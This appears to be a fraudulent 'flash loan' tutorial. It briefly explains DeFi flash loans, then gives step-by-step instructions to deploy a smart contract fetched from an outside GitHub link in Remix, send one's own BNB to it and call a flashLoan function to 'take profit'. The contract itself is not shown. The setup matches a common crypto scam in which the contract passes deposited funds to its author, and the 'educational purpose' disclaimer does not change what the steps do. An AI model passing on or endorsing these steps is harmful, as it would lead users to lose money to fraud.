



FOR EDUCATIONAL PURPOSE ONLY. DO NOT ABUSE IT.

What is a Flash Loan?

Flash Loans are a new uncollateralized loan product in DeFi. Flash Loans empower traders and DeFi users by enabling instant borrowing with no collateral required provided that the liquidity is returned to the pool within one transaction block.

How Flash Loan Attacks Work?

Flash loans allow a user to borrow as much as they want with zero capital. For instance, if you'd like to borrow \$70,000 worth of ETH, a lending protocol instantly gives it to you, but that doesn't mean it's yours. You need to do something with the borrowed funds in order to pay back the loan and perhaps pocket the excess amount.

For this to work, the process needs to happen fast and the debt must be repaid to the protocol in time, otherwise the transaction will reverse. A decentralized lender doesn't require collateral from you since the agreement to pay your debt is enforced by a blockchain. Flash loan attackers thrive on finding ways to manipulate the market while still abiding by a blockchain's rules.

INSTRUCTION:

1. Open Remix.
link: <https://remix.ethereum.org/>
2. Open the link and copy the Smart Contract Code
link:
<https://raw.githubusercontent.com/CPPHSmartContract/FlashLoan-Smart-Contract/main/flashLoan.sol>
3. Create New File. > *flashLoan.sol* -- in remix and paste the Smart Contract Code and wait everything to load.

4. @Compiler Tab; Choose Compiler version to **0.5.0**

5. Click "**Compile FlashLoan.sol**", wait everything to load.

6. @Deploy & Run Transaction Tab;

[Environment] set to "**Injected Web3**" to connect your Metamask to *remix.ethereum.org*

[Contract] choose "InitiateFlashLoan - FlashLoan.sol"

[Deploy] click ▾ arrow down besides of Deploy

- **TOKENNAME:** put *any* token name here, in this part we will make new token name. So PancakeSwap will think you are new developer of token
- **TOKENSYMBOL:** put Token Symbol here. ex. ETH, SLP, SKILL, BTCB or anything you like that will fit on your Token Name
- **LOANAMOUNT:** **3137**

7. Click "**Transact**", Pay the Gas fee to publish your own Smart Contract. ~0.015BNB only.

8. Wait for your Smart Contract at the **Deployed Contracts** area below.

9. **Verify** your Smart Contract Address; Click the ▾ button at your deployed Smart Contract.

- click > [checkOwnerAddress] Make it sure it will show your public address. If not, repeat the process.
- click > [contractAddress] This will be your contract address.
- click > [loanBalance] It will show here your loan Balance.
- click > [tokenName] It will show here your own Token name
- click > [tokenSymbol] It will show here your own Token Symbol

10. Send Loan amount to your **own** Smart Contract Address.

Make it sure you are sending to your OWN Smart Contract Address
you can also click the "Copy value to clipboard" to prevent mistyped

verify if your smart contract received your BNB.

click > [loanBalance] – the value should be divided by 10000000000000000 (18zeros) since BNB has 18 decimal places.

11. Click [**flashLoan**] and pay the gas fee.

Wait for you smart contract to process your loan, paid it, and **take profit** in just ONE block.